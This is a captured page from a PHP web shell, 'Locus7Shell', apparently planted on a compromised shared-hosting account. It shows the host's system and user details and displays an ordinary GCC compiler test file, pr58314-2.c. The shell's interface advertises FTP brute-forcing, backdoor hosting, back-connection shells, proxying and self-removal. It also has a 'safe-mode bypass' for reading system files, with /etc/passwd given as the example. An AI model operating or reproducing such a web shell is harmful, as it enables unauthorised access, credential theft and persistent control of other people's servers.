Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/sh/torture/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr58314-2.c (3.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do compile }  */

struct unipair 
{
  unsigned short unicode;
  unsigned short fontpos;
};

struct __large_struct
{
  unsigned long buf[100];
};

struct vc_data
{
  unsigned long *vc_uni_pagedir_loc;
};

struct uni_pagedir 
{
  unsigned short **uni_pgdir[32];
};

void con_get_unimap (struct vc_data *vc, unsigned short ct, unsigned short *uct,
             struct unipair *list)
{
  int i, j, k, ect;
  unsigned short **p1, *p2;
  struct uni_pagedir *p;

  ect = 0;

  if (*vc->vc_uni_pagedir_loc)
  {
    p = (struct uni_pagedir *)*vc->vc_uni_pagedir_loc;
    for (i = 0; i < 32; i++)
    if ((p1 = p->uni_pgdir[i]))
    for (j = 0; j < 32; j++)
    if ((p2 = *(p1++)))
    for (k = 0; k < 64; k++)
    {
      if (*p2 < 512 && ect++ < ct)
      {
    {
      long __pu_err;
      __typeof__(*((&list->unicode))) *__pu_addr = ((&list->unicode));
      __typeof__(*((&list->unicode))) __pu_val =
        ((unsigned short)((i<<11)+(j<<6)+k));
      __pu_err = 0;
      switch ((sizeof(*(&list->unicode))))
      {
        case 1:
        __asm__ __volatile__ (
        "1:\n\t"
            "mov." "b" "    %1, %2\n\t"
        "2:\n"
        ".section    .fixup,\"ax\"\n"
        "3:\n\t"
            "mov.l    4f, %0\n\t"
            "jmp    @%0\n\t"
            " mov    %3, %0\n\t"
            ".balign    4\n"
        "4:    .long    2b\n\t"
            ".previous\n"
        ".section    __ex_table,\"a\"\n\t"
            ".long    1b, 3b\n\t"
            ".previous"
        : "=&r" (__pu_err)
        : "r" (__pu_val), "m" ((*(struct __large_struct *)(__pu_addr))),
          "i" (-14), "0" (__pu_err) : "memory" );

          break;

        case 2:
        __asm__ __volatile__ (
        "1:\n\t"
            "mov." "w" "    %1, %2\n\t"
        "2:\n"
        ".section    .fixup,\"ax\"\n"
        "3:\n\t"
            "mov.l    4f, %0\n\t"
            "jmp    @%0\n\t"
            " mov    %3, %0\n\t"
            ".balign    4\n"
            "4:    .long    2b\n\t"
            ".previous\n"
        ".section    __ex_table,\"a\"\n\t"
            ".long    1b, 3b\n\t"
            ".previous"
        : "=&r" (__pu_err)
        : "r" (__pu_val), "m" ((*(struct __large_struct *)(__pu_addr))),
          "i" (-14), "0" (__pu_err) : "memory" );
          break;

        default:
          break;
      }
    }


    {
      long __pu_err;
      __typeof__(*((&list->fontpos))) *__pu_addr = ((&list->fontpos));
      __typeof__(*((&list->fontpos))) __pu_val = ((unsigned short) *p2);
      __pu_err = 0;
      switch ((sizeof(*(&list->fontpos))))
      {
        case 1:
        __asm__ __volatile__ (
        "1:\n\t"
            "mov." "b" "    %1, %2\n\t"
        "2:\n"
        ".section    .fixup,\"ax\"\n"
        "3:\n\t"
            "mov.l    4f, %0\n\t"
            "jmp    @%0\n\t"
            " mov    %3, %0\n\t"
            ".balign    4\n"
            "4:    .long    2b\n\t"
            ".previous\n"
        ".section    __ex_table,\"a\"\n\t"
            ".long    1b, 3b\n\t"
            ".previous"
        : "=&r" (__pu_err)
        : "r" (__pu_val), "m" ((*(struct __large_struct *)(__pu_addr))),
          "i" (-14), "0" (__pu_err) : "memory" );
          break;

        case 2:
          __asm__ __volatile__ (
        "1:\n\t"
            "mov." "w" "    %1, %2\n\t"
        "2:\n"
            ".section    .fixup,\"ax\"\n"
        "3:\n\t"
            "mov.l    4f, %0\n\t"
            "jmp    @%0\n\t"
            " mov    %3, %0\n\t"
        ".balign    4\n"
            "4:    .long    2b\n\t"
        ".previous\n"
        ".section    __ex_table,\"a\"\n\t"
            ".long    1b, 3b\n\t"
            ".previous"
        : "=&r" (__pu_err)
        : "r" (__pu_val), "m" ((*(struct __large_struct *)(__pu_addr))),
          "i" (-14), "0" (__pu_err) : "memory" );
          break;

        default:
          break;
      }
    }

        list++;
      }
      p2++;
    }
  }
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0069 ]--